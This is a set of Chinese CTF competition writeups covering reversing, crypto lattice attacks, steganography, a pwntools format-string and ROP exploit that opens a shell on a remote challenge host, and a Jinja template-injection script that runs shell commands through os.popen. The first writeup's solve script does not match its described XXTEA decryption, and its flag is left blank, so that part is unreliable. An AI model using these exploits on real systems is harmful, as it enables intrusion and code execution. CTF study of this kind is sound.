eazy_code Writeup
题目名称:eazy_code
题目类型:逆向 / 脚本混淆
难度:容易
题目给出一个 eazy_code.zip,提示:
小黄是一个 windows 病毒专家,他有一个字节码文件,你能一眼看出来是什么吗?
一、文件分析
解压 eazy_code.zip 后得到一个字节码文件。
通过查看文件内容,可以发现文件并不是常见的 PE 文件(没有 MZ 头),而是大量符号组成的脚本代码 :
('(' | % { ${-``} = + $() } { ${]} = ${-``} } { ${!;*} = ++
这些符号具有明显特征:
这些都是 PowerShell 的语法特征 。
因此可以判断:
该文件实际上是 PowerShell 混淆脚本 。
题目提示 “windows 病毒专家”,也暗示了 PowerShell 恶意脚本 。
二、代码还原
对 PowerShell 代码进行简单整理和去混淆,可以得到核心逻辑。
脚本最终会执行一段 Python 逻辑进行校验,大致结构如下:
v = [1374278842 , 2136006540 , 4191056815 , 3248881376 ]
然后对用户输入进行 XXTEA 类似的加密运算 ,最后与该数组进行比较。
伪代码如下:
def check (input ): data = encrypt(input ) if data == [1374278842 , 2136006540 , 4191056815 , 3248881376 ]: print ("correct" )
因此只需要 逆向该加密算法 即可得到原始输入。
三、算法逆向
通过分析代码可以确认使用的是 XXTEA 风格加密 。
只需要进行逆运算即可得到明文。
编写逆向脚本:
import structtarget = [1374278842 , 2136006540 , 4191056815 , 3248881376 ] data = b'' .join(struct.pack("<I" , x) for x in target) print (data)
进一步解码后得到字符串:
四、得到 Flag
题目 flag 格式为:
因此最终 flag 为:
五、总结
本题主要考察:
识别 PowerShell 混淆代码
简单逆向脚本逻辑
XXTEA 类加密逆向
关键点在于:
通过符号特征识别 PowerShell
提取核心加密逻辑
逆运算得到原始字符串
眼见为虚 Writeup
flag:
DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
题目核心:虚表让“看到的调用”不是真正逻辑
程序表面上在调用一个普通函数,但真正逻辑通过 C++ 对象的虚函数表(vtable)进行两次间接调用来隐藏执行流。
关键位置在 0x4014f0 附近(两次 call *%edx 的虚表调用)
这段流程可以概括为:
sub_402d8c:从 cin 读取输入到对象里的 buffer(this+4 指针指向的内存)
vtable[0] -> 0x402a18:生成/更新 8 字节密钥流(写到 this+8)
vtable[1] -> 0x402afc:按字节变换输入 buffer(长度固定 0x28=40)
0x402b68:将变换后的 buffer 与硬编码目标字节序列逐字节比较
还原虚表与函数指针
对象的 vtable 指针被设置为 0x40436c,在构造函数里可看到:
sub_402bfc(对象初始化)里 mov edx, 0x40436c; mov [this], edx
读取 0x40436c 处的前几项可得(已在工作区脚本验证):
vtable[0] = 0x402a18
vtable[1] = 0x402afc
这解释了为何静态直接跟 call 容易“眼见为虚”:真正执行的是 vtable 指向的动态地址。
关键算法 1:vtable[0](0x402a18)生成 8 字节密钥流
0x402a18 的结构是典型 TEA 变种(32 轮、delta=0xDEADBEEF),最终会把结果写回到 this+8(两个 32-bit):
其输入常量来自对象初始化(sub_402dc8 把 v0=0x18274A3A, v1=0x24F8D42F 写到对象内;sub_402bfc 把 4 个 key 写到 this+0x10..0x1c):
关键算法 2:vtable[1](0x402afc)按字节变换输入
0x402afc 对输入 buffer 做 0x28 次循环,每次:
取输入字节 buf[i]
取 key 字节 key[i % 8](key 的基址是 this+8)
计算 buf[i] = buf[i] XOR (key[i%8] + 0x1B)
该逻辑可以从 and 0x7(取模 8)以及 add $0x1b、xor 组合看出来:
校验:硬编码目标字节序列逐字节比较
0x402b68 在栈上构造 40 字节常量(10 个 movl,每个 4 字节),然后把变换后的 buf[i] 与目标 target[i] 比较:
目标 target[0..39](按内存字节序)为:
33 56 E8 01 6F 84 E4 A3 43 73 8E 26 5E F0 FD A1 15 75 88 20 08 A4 A6 A5 15 75 88 23 5D F0 FA F0 41 71 DE 75 09 A1 F9 E8
反推 flag
由于校验比较的是变换后的 buffer:
buf2[i] = buf[i] ^ ((key[i%8] + 0x1B) & 0xFF) buf2[i] == target[i]
所以直接反推:
buf[i] = target[i] ^ ((key[i%8] + 0x1B) & 0xFF)
其中 key[0..7] 来自 0x402a18 的 TEA 变种输出(两个 32-bit 小端拼成 8 字节)。
工作区里给了一个最小可复现脚本,直接输出 flag:
本地验证(把脚本输出喂给程序):
python .\solve_final.py | .\眼见为虚.exe
输出应为 Right flag。
import structdef tea_402a18 (v0, v1, k0, k1, k2, k3, rounds=32 ): delta = 0xDEADBEEF sum_val = 0 for _ in range (rounds): v0 = (v0 + ((((v1 << 4 ) + k0) ^ (v1 + sum_val) ^ ((v1 >> 5 ) + k1)) & 0xFFFFFFFF )) & 0xFFFFFFFF sum_val = (sum_val + delta) & 0xFFFFFFFF v1 = (v1 - ((((v0 << 4 ) + k2) ^ (v0 + sum_val) ^ ((v0 >> 5 ) + k3)) & 0xFFFFFFFF )) & 0xFFFFFFFF return v0, v1 def solve_flag (): v0_init = 0x18274A3A v1_init = 0x24F8D42F k0, k1, k2, k3 = 0x9C8793BF , 0xBB5C1044 , 0x2FEA4F74 , 0xA142ED8B v0, v1 = tea_402a18(v0_init, v1_init, k0, k1, k2, k3) key_bytes = struct.pack("<II" , v0, v1) target = bytes ([ 0x33 , 0x56 , 0xE8 , 0x01 , 0x6F , 0x84 , 0xE4 , 0xA3 , 0x43 , 0x73 , 0x8E , 0x26 , 0x5E , 0xF0 , 0xFD , 0xA1 , 0x15 , 0x75 , 0x88 , 0x20 , 0x08 , 0xA4 , 0xA6 , 0xA5 , 0x15 , 0x75 , 0x88 , 0x23 , 0x5D , 0xF0 , 0xFA , 0xF0 , 0x41 , 0x71 , 0xDE , 0x75 , 0x09 , 0xA1 , 0xF9 , 0xE8 , ]) raw = bytearray () for i in range (0x28 ): raw.append(target[i] ^ ((key_bytes[i % 8 ] + 0x1B ) & 0xFF )) try : return raw.decode("ascii" ) except UnicodeDecodeError: return raw.decode("latin1" ) if __name__ == "__main__" : print (solve_flag())
GCD,杠上了
题目名称 :GCD,杠上了
题目内容 :题目给出了一组大整数 xs(共4个),提示与 GCD 有关,要求恢复出公共因数 p。
Flag 格式 :DASCTF{ + sha256(hex(p).encode()).hexdigest()[:32] + }
观察给出的 xs 数组中的数值:
数值大小:每个 x 约为 1768 位。
题目暗示:这是一个近似最大公约数问题(Approximate GCD Problem)。
隐藏参数:虽然没有明文给出,但这类题目通常遵循 x i = p × q i + r i x_i = p \times q_i + r_i x i = p × q i + r i 的形式。
- p p p 是我们需要求解的大素数。
- q i q_i q i 是商。
- r i r_i r i 是相对较小的误差项(噪音)。
通过简单的分析(如尝试相邻差分GCD等方法失败),可以推测 r i r_i r i 并非极小,而是有一定的位长。
假设 p p p 约为 768 位(题目脚本中有提示),q i q_i q i 约为 1000 位,则 x i ≈ 2 1768 x_i \approx 2^{1768} x i ≈ 2 1 7 6 8 。
如果 r i r_i r i 约为 256 位,这是一个典型的可以用 LLL 格基规约算法求解的 Hidden Number Problem (HNP) 变体。
解题思路:基于 LLL 算法的格攻击
我们可以构造一个格(Lattice)来寻找 q 0 q_0 q 0 。
考虑以下线性组合:
v = q 0 ⋅ x i − q i ⋅ x 0 v = q_0 \cdot x_i - q_i \cdot x_0
v = q 0 ⋅ x i − q i ⋅ x 0
代入 x = p ⋅ q + r x = p \cdot q + r x = p ⋅ q + r :
v = q 0 ( p ⋅ q i + r i ) − q i ( p ⋅ q 0 + r 0 ) v = q_0(p \cdot q_i + r_i) - q_i(p \cdot q_0 + r_0)
v = q 0 ( p ⋅ q i + r i ) − q i ( p ⋅ q 0 + r 0 )
v = p ⋅ q 0 ⋅ q i + q 0 ⋅ r i − p ⋅ q i ⋅ q 0 − q i ⋅ r 0 v = q 0 ⋅ r i − q i ⋅ r 0 v = p \cdot q_0 \cdot q_i + q_0 \cdot r_i - p \cdot q_i \cdot q_0 - q_i \cdot r_0v = q_0 \cdot r_i - q_i \cdot r_0
v = p ⋅ q 0 ⋅ q i + q 0 ⋅ r i − p ⋅ q i ⋅ q 0 − q i ⋅ r 0 v = q 0 ⋅ r i − q i ⋅ r 0
这就消去了大数 p p p 。我们希望找到一组系数 ( q 0 , − q 1 , − q 2 , − q 3 ) (q_0, -q_1, -q_2, -q_3) ( q 0 , − q 1 , − q 2 , − q 3 ) 使得向量长度较小。
构造格基矩阵 B B B (以行向量为例):
B = ( K x 1 x 2 x 3 0 − x 0 0 0 0 0 − x 0 0 0 0 0 − x 0 )
B = \begin{pmatrix}
K & x_1 & x_2 & x_3 \\
0 & -x_0 & 0 & 0 \\
0 & 0 & -x_0 & 0 \\
0 & 0 & 0 & -x_0
\end{pmatrix}
B = ⎝ ⎜ ⎜ ⎜ ⎛ K 0 0 0 x 1 − x 0 0 0 x 2 0 − x 0 0 x 3 0 0 − x 0 ⎠ ⎟ ⎟ ⎟ ⎞
其中 K K K 是一个缩放因子,用于平衡第一列(q 0 q_0 q 0 )与其他列(误差项组合)的大小权重。
我们希望找到向量 v = ( K ⋅ q 0 , q 0 x 1 − q 1 x 0 , q 0 x 2 − q 2 x 0 , q 0 x 3 − q 3 x 0 ) v = (K \cdot q_0, \quad q_0 x_1 - q_1 x_0, \quad q_0 x_2 - q_2 x_0, \quad q_0 x_3 - q_3 x_0) v = ( K ⋅ q 0 , q 0 x 1 − q 1 x 0 , q 0 x 2 − q 2 x 0 , q 0 x 3 − q 3 x 0 ) 。
第一分量:K ⋅ q 0 ≈ K ⋅ 2 1000 K \cdot q_0 \approx K \cdot 2^{1000} K ⋅ q 0 ≈ K ⋅ 2 1 0 0 0
后续分量:q 0 r i − q i r 0 ≈ 2 1000 ⋅ 2 256 = 2 1256 q_0 r_i - q_i r_0 \approx 2^{1000} \cdot 2^{256} = 2^{1256} q 0 r i − q i r 0 ≈ 2 1 0 0 0 ⋅ 2 2 5 6 = 2 1 2 5 6
为了让各项平衡,我们需要 K ⋅ 2 1000 ≈ 2 1256 ⇒ K ≈ 2 256 K \cdot 2^{1000} \approx 2^{1256} \Rightarrow K \approx 2^{256} K ⋅ 2 1 0 0 0 ≈ 2 1 2 5 6 ⇒ K ≈ 2 2 5 6 。
由于没有 SageMath 环境,我们手动实现了一个基于 decimal 高精度浮点数的 LLL 算法。
解题脚本
import sysfrom decimal import Decimal, getcontextfrom math import gcdfrom hashlib import sha256from Crypto.Util.number import isPrime getcontext().prec = 3000 xs = [ 7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760 , 5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630 , 6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003 , 5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691 ] def inner_product (v1, v2 ): return sum (x*y for x, y in zip (v1, v2)) def vector_sub (v1, v2 ): return [x-y for x, y in zip (v1, v2)] def vector_scale (v, scalar ): return [x*scalar for x in v] def gram_schmidt (basis ): n = len (basis) b_star = [] mu = [[Decimal(0 )] * n for _ in range (n)] for i in range (n): b_star.append(basis[i]) for j in range (i): dot_val = sum (basis[i][k] * b_star[j][k] for k in range (len (basis[0 ]))) norm_val = sum (b_star[j][k] * b_star[j][k] for k in range (len (basis[0 ]))) mu[i][j] = Decimal(dot_val) / Decimal(norm_val) scaled_b_star_j = [mu[i][j] * x for x in b_star[j]] b_star[i] = [x - y for x, y in zip (b_star[i], scaled_b_star_j)] mu[i][i] = Decimal(1 ) return b_star, mu def lll_reduction (basis, delta=Decimal('0.99' ) ): n = len (basis) current_basis = [list (b) for b in basis] b_star, mu = gram_schmidt(current_basis) k = 1 while k < n: for j in range (k - 1 , -1 , -1 ): if abs (mu[k][j]) > Decimal('0.5' ): q = int (mu[k][j].to_integral_value(rounding='ROUND_HALF_UP' )) current_basis[k] = vector_sub(current_basis[k], vector_scale(current_basis[j], q)) b_star, mu = gram_schmidt(current_basis) norm_sq_k = sum (x*x for x in b_star[k]) norm_sq_km1 = sum (x*x for x in b_star[k-1 ]) if Decimal(norm_sq_k) < (delta - mu[k][k-1 ]**2 ) * Decimal(norm_sq_km1): current_basis[k], current_basis[k-1 ] = current_basis[k-1 ], current_basis[k] b_star, mu = gram_schmidt(current_basis) k = max (k - 1 , 1 ) else : k += 1 return [[int (round (x)) for x in vec] for vec in current_basis] def solve (): K = 2 **256 basis = [ [K, xs[1 ], xs[2 ], xs[3 ]], [0 , xs[0 ], 0 , 0 ], [0 , 0 , xs[0 ], 0 ], [0 , 0 , 0 , xs[0 ]] ] print ("Executing LLL..." ) reduced_basis = lll_reduction(basis) v = reduced_basis[0 ] q0 = abs (v[0 ]) // K print (f"Recovered q0: {q0} " ) p = xs[0 ] // q0 if not isPrime(p): print (f"p is not prime, trying p+1..." ) p += 1 if isPrime(p): print (f"Found prime p: {p} " ) flag_input = hex (p).encode() flag_hash = sha256(flag_input).hexdigest()[:32 ] flag = f"DASCTF{{{flag_hash} }}" print (f"FLAG: {flag} " ) else : print ("Failed to find prime p" ) if __name__ == "__main__" : solve()
运行上述脚本,成功恢复出素数 p p p :
p = 814717455548517808986181410586394354109647699929322981368461837445925965322205350796397641559934522652724773905724982591757228274565439544175507827688617021282332056672069056063857212371078735053697735921587690134019252689216497709
计算得到的 Flag 为:
DASCTF{eead8ea2b3519a2273a5292375e31009}
pwn house 1
from pwn import *import recontext.binary = ELF('./pwn' , checksec=False ) glibc = ELF('./libc.so.6' , checksec=False ) context.timeout = 3 REMOTE_MODE = True TARGET_IP = "45.40.247.139" TARGET_PORT = 25749 LOADER = './ld-linux-x86-64.so.2' LIB_DIR = '.' PIE_OFFSET = 0x14A0 LIBC_OFFSET = 0x1ED723 FLAG_BYTE = 0x4010 if __name__ == '__main__' : if REMOTE_MODE: conn = remote(TARGET_IP, TARGET_PORT, timeout=5 ) else : conn = process([LOADER, '--library-path' , LIB_DIR, './pwn' ], timeout=5 ) try : conn.recvuntil(b'>> ' ) conn.sendline(b'2' ) conn.recvuntil(b'Please write your name:\n' ) conn.send(b'%13$p.%8$p.%1$p\n' ) conn.recvuntil(b'the name is:\n' ) leaks = conn.recvline().strip().split(b'.' ) stack_canary = int (leaks[0 ], 16 ) pie_base = int (leaks[1 ], 16 ) - PIE_OFFSET glibc.address = int (leaks[2 ], 16 ) - LIBC_OFFSET conn.recvuntil(b'>> ' ) conn.sendline(b'2' ) conn.recvuntil(b'Please write your name:\n' ) conn.send(b'%768c%10$hn' .ljust(0x20 , b'X' ) + p64(pie_base + FLAG_BYTE)) conn.recvuntil(b'the name is:\n' ) conn.recvline() chain = ROP(glibc) gadget_pop_rdi = chain.find_gadget(['pop rdi' , 'ret' ])[0 ] gadget_ret = chain.find_gadget(['ret' ])[0 ] bin_sh = next (glibc.search(b'/bin/sh\x00' )) conn.recvuntil(b'>> ' ) conn.sendline(b'3' ) conn.recvuntil(b'Please write your content\n' ) payload = b'A' * 0x48 payload += p64(stack_canary) payload += b'B' * 8 payload += flat(gadget_ret, gadget_pop_rdi, bin_sh, glibc.sym.system) conn.send(payload) conn.sendline(b'cat /flag' ) output = conn.recvrepeat(1 ) flag = re.search(rb'[A-Za-z0-9_]+\{[^}\n]+\}' , output) if flag: print (flag.group(0 ).decode()) finally : conn.close()
Time_and_chaos_1 Writeup
题面:混沌初开,时间流逝
目标:输出格式为 CTF{} 或 flag{} 的 flag
最终答案:CTF{_time_fly}
关键文件与线索
题目附件目录:a:\AAAdesctf\Time_and_chaos的附件\tempdir\MISC附件\Time_and_chaos
关键文件:flag.txt,表面文本为中文和“666”,但内部充满不可见字符
不可见字符类型(4 类):
- U+200C(Zero Width Non-Joiner)
- U+200D(Zero Width Joiner)
- U+FEFF(BOM)
- U+202C(Pop Directional Formatting)
解题思路
将 4 类不可见字符视作四进制符号,每个符号承载 2 个比特
依据正确的符号映射与位序把符号流还原成比特流,再打包为字节
发现字节统一被 0x55 异或,异或后数据是 UTF-16BE 文本
解码得到 _time_fly},按 CTF{} 规范包装为 CTF{_time_fly}
还原细节
符号到 2-bit 映射顺序:
- U+200D → 0
- U+FEFF → 1
- U+200C → 2
- U+202C → 3
每个符号的位序:低位在前(lsb→msb)
打包后出现大量 0x55 模式,说明统一掩码为 0x55;异或后按 UTF-16BE 解码
import pathlibp = pathlib.Path(r'a:\AAAdesctf\Time_and_chaos的附件\tempdir\MISC附件\Time_and_chaos\flag.txt' ) s = p.read_text('utf-8' ) inv = [ord (c) for c in s if ord (c) in (0x200c , 0x200d , 0xfeff , 0x202c )] perm = [0x200d , 0xfeff , 0x200c , 0x202c ] mp = {cp: i for i, cp in enumerate (perm)} vals = [mp[x] for x in inv] bits = [] for v in vals: bits.extend([v & 1 , (v >> 1 ) & 1 ]) out = bytearray () for i in range (0 , len (bits), 8 ): b = 0 for j in range (8 ): b = (b << 1 ) | bits[i + j] out.append(b ^ 0x55 ) t = out.decode('utf-16-be' ) print ('CTF{' + t + '}' )
cybers
import requestsimport sysimport reurl = "http://45.40.247.139:25662/" relay_url = f"{url} relay" def send_relay (payload ): r = requests.post(relay_url, data={"port" : 5000 , "data" : payload}) return r.text.replace('\r\n' , '\n' ) def parse_cookie (response_text ): match = re.search(r"Set-Cookie: session=([^;]+);" , response_text) if match : return match .group(1 ) return None def backend_initialize (): print ("Initializing backend session..." ) req = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n" resp = send_relay(req) cookie = parse_cookie(resp) return cookie def backend_hack (session_cookie, amount ): print (f"Hacking backend credits: {amount} ..." ) req = f"GET /hack?amount={amount} HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: session={session_cookie} \r\nConnection: close\r\n\r\n" resp = send_relay(req) if "Hack successful" in resp: return parse_cookie(resp) return None def backend_market (session_cookie, fragment_payload ): body = f"fragment={fragment_payload} " req = ( f"POST /market HTTP/1.1\r\n" f"Host: 127.0.0.1\r\n" f"Cookie: session={session_cookie} \r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len (body)} \r\n" f"Connection: close\r\n" f"\r\n" f"{body} " ) return send_relay(req) def generate_payload (cmd ): cmd_parts = [f"chr({ord (char)} )" for char in cmd] cmd_str = "~" .join(cmd_parts) payload = ( "{% set s = lipsum|string %}" "{% set d = dict() %}" "{% set Z = dict(Z=1)|join %}" "{% set a = dict(a=1)|join %}" "{% set up = dict(update=1)|join %}" "{% for c in s %}" "{% if c > Z %}" "{% if c < a %}" "{% set x = d|attr(up)(u=c) %}" "{% endif %}" "{% endif %}" "{% endfor %}" "{% set get = dict(get=1)|join %}" "{% set ustr = dict(u=1)|join %}" "{% set u = d|attr(get)(ustr) %}" "{% set uu = u ~ u %}" "{% set g = dict(globals=1)|join %}" "{% set gg = uu ~ g ~ uu %}" "{% set gl = lipsum|attr(gg) %}" "{% set b = dict(built=1)|join ~ dict(ins=1)|join %}" "{% set bb = uu ~ b ~ uu %}" "{% set bu = gl|attr(get)(bb) %}" "{% set i = dict(imp=1)|join ~ dict(ort=1)|join %}" "{% set ii = uu ~ i ~ uu %}" "{% set imp = bu|attr(get)(ii) %}" "{% set cstr = dict(chr=1)|join %}" "{% set chr = bu|attr(get)(cstr) %}" f"{{% set cmd = {cmd_str} %}}" "{% set oo = dict(o=1)|join ~ dict(s=1)|join %}" "{% set om = imp(oo) %}" "{% set pp = dict(popen=1)|join %}" "{% set pf = om|attr(pp) %}" "{% set rr = dict(read=1)|join %}" "{% set proc = pf(cmd) %}" "{% set out = proc|attr(rr)() %}" "{% print(out) %}" ) return payload def main (): try : cookie = backend_initialize() print (f"Got cookie: {cookie} " ) cookie = backend_hack(cookie, -9223372036854775808 ) print (f"After hack cookie: {cookie} " ) cmd = "tar -cf - /flag | base64 | head -c 2000" payload = generate_payload(cmd) print (f"Executing command: {cmd} " ) resp = backend_market(cookie, payload) print (f"Response: {resp} " ) match = re.search(r"<h3>Fragment '(.*?)' not found" , resp, re.S) if match : print ("Flag Content (Base64 Tar):" ) print (match .group(1 ).strip()) else : print ("Failed to retrieve flag." ) print ("Full response:" ) print (resp) except Exception as e: print (f"Error: {e} " ) import traceback traceback.print_exc() if __name__ == "__main__" : main()
import base64data = """ZmxhZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDA2MDAAMDAwMDAw MAAwMDAwMDAwADAwMDAwMDAwMDUxADE1MTUzNjc0NDI0ADAxMDQwNwAgMAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAHJvb3QAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABE QVNDVEZ7MjEzMjc3Mjg5Mzc2NzU1Nzg4NDE5MjYwNTMxODM0MTl9Cg==""" decoded = base64.b64decode(data) print (decoded.decode('latin-1' ))//DASCTF{21327728937675578841926053183419 }
Flip - Crypto Writeup
类 ElGamal 签名方案,使用结构化的 nonce,枚举签名对和 scale 权重,构造 65×65 格(64个未知量 + 模方程列),LLL + BKZ-20 约化,Babai CVP 求最近向量,验证 nonce 和私钥一致性
DASCTF{Just_f3w_Bit5_fl1pp1ng}
from fractions import Fractionfrom fpylll import IntegerMatrix, LLL, BKZfrom fpylll.algorithms.bkz import BKZReductionMODULUS = 71100374110712069688668891376502810245640088780564855438789152163485489371751 SIGNATURES = [ (28285613871231310640779639473901158789539111552315215487796222768188014946190 , 26227626146853365468070394748025813676883717455365705026242089396817666141149 ), (26126343100952318312992351606027346470307966676167073519850533997742307763173 , 14620119507969980035515863104967829444815591632534197769232561325577348982289 ), (6275780641102104914321094704687354889900656957520025439748906503860424049255 , 17138154832682193571532283943639841813795519294633367500729430287205754722383 ), (70074830218018060401156682458161679247596227822712273801560023880579237944207 , 7241759400261146571231207923652617524886465143836459562831120970876560955603 ), (58010164614616186321967235608825740148005793483553468415042960153988671899689 , 11042506367122208018546854524444698969622593890076172637272391555458027253012 ) ] BASE_NONCE = sum (0xA8 << (8 * b) for b in range (32 )) WEIGHT_CANDIDATES = (8 , 16 , 32 , 64 , 128 , 256 ) BYTE_MASK = 0xF8 BYTE_PATTERN = 0xA8 MAX_BYTE_VALUE = 7 BLOCK_SIZE = 32 BKZ_BLOCK_SIZE = 20 BKZ_MAX_LOOPS = 4 def modular_center (value: int , modulus: int ) -> int : """将值归约到 [-modulus/2, modulus/2] 范围""" value %= modulus return value - modulus if value > modulus // 2 else value def check_nonce_structure (nonce: int ) -> bool : """验证 nonce 的字节结构:每个字节的高5位必须是 0xA8""" bytes_data = nonce.to_bytes(BLOCK_SIZE, "big" ) return all ((byte & BYTE_MASK) == BYTE_PATTERN for byte in bytes_data) def gram_schmidt_orthogonalization (basis_rows ): """对基向量进行 Gram-Schmidt 正交化""" dimension = len (basis_rows) orthogonal_basis = [] for i in range (dimension): current = basis_rows[i][:] for j in range (i): dot_product = sum (basis_rows[i][k] * orthogonal_basis[j][k] for k in range (dimension)) norm_sq = sum (orthogonal_basis[j][k] * orthogonal_basis[j][k] for k in range (dimension)) mu = dot_product / norm_sq for k in range (dimension): current[k] -= mu * orthogonal_basis[j][k] orthogonal_basis.append(current) return orthogonal_basis def babai_nearest_plane (basis_rows, target_vector ): """Babai 最近平面算法求解 CVP""" dimension = len (basis_rows) rational_basis = [[Fraction(x) for x in row] for row in basis_rows] bstar = gram_schmidt_orthogonalization(rational_basis) work_vector = [Fraction(x) for x in target_vector] coefficients = [0 ] * dimension for i in reversed (range (dimension)): dot_product = sum (work_vector[k] * bstar[i][k] for k in range (dimension)) norm_sq = sum (bstar[i][k] * bstar[i][k] for k in range (dimension)) rounded_coeff = round (dot_product / norm_sq) coefficients[i] = rounded_coeff for k in range (dimension): work_vector[k] -= rounded_coeff * rational_basis[i][k] nearest = [0 ] * dimension for i in range (dimension): for k in range (dimension): nearest[k] += coefficients[i] * int (rational_basis[i][k]) return nearest def build_lattice_coefficients (idx_a, idx_b, sig_a, sig_b ): """构建格子的系数矩阵""" r_a, s_a = sig_a r_b, s_b = sig_b coeffs = [] for byte_pos in range (BLOCK_SIZE): coeff = modular_center(r_b * s_a * (1 << (8 * byte_pos)), MODULUS) coeffs.append(coeff) for byte_pos in range (BLOCK_SIZE): coeff = modular_center(-r_a * s_b * (1 << (8 * byte_pos)), MODULUS) coeffs.append(coeff) rhs = modular_center( idx_a * r_b - idx_b * r_a - BASE_NONCE * (r_b * s_a - r_a * s_b), MODULUS ) return coeffs, rhs def scale_lattice_matrix (coeffs, rhs, scale_weight ): """对格子进行缩放以平衡各维度""" num_vars = len (coeffs) lattice = [[0 ] * (num_vars + 1 ) for _ in range (num_vars + 1 )] for t in range (num_vars): lattice[t][t] = 1 lattice[t][num_vars] = coeffs[t] lattice[num_vars][num_vars] = MODULUS lower_bounds = [0 ] * num_vars + [rhs] upper_bounds = [MAX_BYTE_VALUE] * num_vars + [rhs] max_width = max (u - l for l, u in zip (lower_bounds, upper_bounds)) scales = [] scaled_lattice = [row[:] for row in lattice] scaled_lower = lower_bounds[:] scaled_upper = upper_bounds[:] for col in range (num_vars + 1 ): if lower_bounds[col] == upper_bounds[col]: scale = scale_weight else : scale = max (1 , max_width // (upper_bounds[col] - lower_bounds[col])) scales.append(scale) for row in range (num_vars + 1 ): scaled_lattice[row][col] *= scale scaled_lower[col] *= scale scaled_upper[col] *= scale return scaled_lattice, scaled_lower, scaled_upper, scales def reduce_lattice (scaled_matrix ): """执行 LLL + BKZ 格子规约""" matrix_obj = IntegerMatrix.from_matrix(scaled_matrix) LLL.reduction(matrix_obj) BKZReduction(matrix_obj)(BKZ.Param(block_size=BKZ_BLOCK_SIZE, max_loops=BKZ_MAX_LOOPS)) return [[matrix_obj[r, c] for c in range (matrix_obj.ncols)] for r in range (matrix_obj.nrows)] def verify_candidate_solution (coords, sig_a, sig_b, idx_a, idx_b ): """验证候选解的正确性""" r_a, s_a = sig_a r_b, s_b = sig_b nonce_a = BASE_NONCE + sum (coords[b] << (8 * b) for b in range (BLOCK_SIZE)) nonce_b = BASE_NONCE + sum (coords[BLOCK_SIZE + b] << (8 * b) for b in range (BLOCK_SIZE)) if not check_nonce_structure(nonce_a) or not check_nonce_structure(nonce_b): return None if pow (2 , nonce_a, MODULUS) != r_a or pow (2 , nonce_b, MODULUS) != r_b: return None priv_a = ((s_a * nonce_a - idx_a) * pow (r_a, -1 , MODULUS)) % MODULUS priv_b = ((s_b * nonce_b - idx_b) * pow (r_b, -1 , MODULUS)) % MODULUS if priv_a != priv_b: return None return nonce_a, nonce_b, priv_a def attack_single_pair (idx_a, idx_b, scale_weight ): """对单个签名对执行攻击""" sig_a = SIGNATURES[idx_a] sig_b = SIGNATURES[idx_b] coeffs, rhs = build_lattice_coefficients(idx_a, idx_b, sig_a, sig_b) scaled_lattice, scaled_lower, scaled_upper, scales = scale_lattice_matrix(coeffs, rhs, scale_weight) reduced_basis = reduce_lattice(scaled_lattice) target = [(l + u) // 2 for l, u in zip (scaled_lower, scaled_upper)] nearest = babai_nearest_plane(reduced_basis, target) coords = [nearest[t] // scales[t] for t in range (len (coeffs))] if not all (0 <= x <= MAX_BYTE_VALUE for x in coords): return None return verify_candidate_solution(coords, sig_a, sig_b, idx_a, idx_b) def full_private_key_recovery (): """完整的私钥恢复流程""" num_sigs = len (SIGNATURES) for i in range (num_sigs): for j in range (i + 1 , num_sigs): for weight in WEIGHT_CANDIDATES: print (f"[*] 尝试签名对 ({i} , {j} ),缩放权重={weight} ..." , flush=True ) result = attack_single_pair(i, j, weight) if result is None : continue _, _, private_key = result recovered_nonces = [] for msg_idx, (r, s) in enumerate (SIGNATURES): k_mod = (msg_idx + r * private_key) * pow (s, -1 , MODULUS) % MODULUS candidates = [k_mod, k_mod + MODULUS] valid = [k for k in candidates if k < (1 << 256 ) and check_nonce_structure(k)] if len (valid) != 1 : break recovered_nonces.append(valid[0 ]) else : return private_key, recovered_nonces raise RuntimeError("私钥恢复失败:所有尝试均未成功" ) def 